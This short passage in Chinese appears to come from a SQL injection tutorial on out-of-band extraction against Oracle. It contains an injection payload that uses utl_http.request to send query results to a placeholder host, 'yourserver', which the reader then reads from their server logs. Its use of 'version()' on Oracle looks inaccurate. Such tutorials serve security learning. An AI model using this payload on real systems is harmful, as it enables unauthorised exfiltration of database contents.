Out-of-band:這方法比較機率性,需要 DBMS 有支援並可外連。
以下介紹 oracle 的利用方法:
select * from topic where id = 1 and 1 = utl_http.request('http://yourserver/' || (select version() from dual))
select version() from dual 可以換成任何你想萃取的資料! 要注意的是, oracle 一定要有 from 不能省略,故可利用虛擬資料表 dual 來代替
這時去查詢你 server 的 log 就能看到剛剛回傳的結果了。
另有其他 out-of-band 用法,在 MSSQL 也有類似的利用方法,此處提供關鍵字供讀者自行查詢!